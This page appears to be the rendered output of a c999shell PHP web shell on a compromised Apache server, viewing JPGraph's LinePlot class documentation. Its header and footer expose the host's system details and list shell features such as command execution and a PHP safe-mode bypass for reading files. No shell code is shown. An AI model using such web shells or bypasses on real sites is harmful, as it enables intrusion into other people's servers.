Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /var/www/html/manage_22222/jpgraph/docs/ref/ drwxr-xr-x |
Viewing file: Select action/file-type: CLASS LinePlot EXTENDS Plot
(Defined in: jpgraph_line.php : 25)Class usage and Overview This class is used to creat line graph plots. Line graph plots are used to draw standard lineplots where datapoints are connected by lines. Each data point can also be marked by a plotmark.
A line plot can only be added to a Graph() image. Public properties:
See also related classes: AccLinePlot
Class Methods
Description Create a vertical colored area under the line between two X-values and to the top of the line.
Predefined values for $aFilled are: Example
Description Create a new LinePlot which later can be added to the graph with the Graph::Add() or Graph::AddY2() method.
A plot can be specified with either only Y-values or both Y-and X-values. If both X and Y values are specified they should have the same number of elements. See also Graph::Add and Graph::AddY2
Example $lineplot = new LinePlot($ydata);
Description By default the lineplots gets aligned to the left side of the bars when using a text X-scale. By calling this method the line points instead gets aligned to the center of the bars.
This method is only to be used in the case where line and bar plots are combined. Any other use is undefined. Example $graph = new Graph(400,200); $graph->SetScale("textlin"); $line = new LinePlot($ydata); $line->SetBarCenter(); $bar = new BarPlot($ydata); $graph->Add($bar); $graph->Add($line);
Description Specify color for line. Example // Set full blue $lp->SetColor('#0000FF');
Description Use Fast version of Stroke(). This is useful for line plots which have many thousand points. This method is a lot faster than the usual Stroke() but also have a lot less functionality and puts restriction on the complexity of the line. The lines can have no plotmarks, must be solid and have a line width of 1 Example
Description Specify that a lineplot should be filled as well as the fill color. See also LinePlot::SetColor
Example
Description Fill line not from 0 (as default) but from the minimum Y value. This is mostly usefull when a plot have the negative value and the X-axis is placed at the minimum Y-alue (at the bottom) Example
Description Specify a gradient fill for the line plot. Currently only vertical gradient fill is supported, i.e. the transiiton from color 1 to color 2 is vertical.
Example $p1->SetFillGradient('white','darkgreen');
Description If the step style is enabled then each point will be connected not with a straight line between the points but with one horizontal and one vertical line. This makes the graph look like a stair where the next data point indicates if the stair is going up or down.
Example
Description Linestyle for lines. Valid linestyles are:'solid', 'dotted', 'dashed'
The default line style is 'solid'
See also Image::SetLineStyle
Example
|
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0135 ]-- |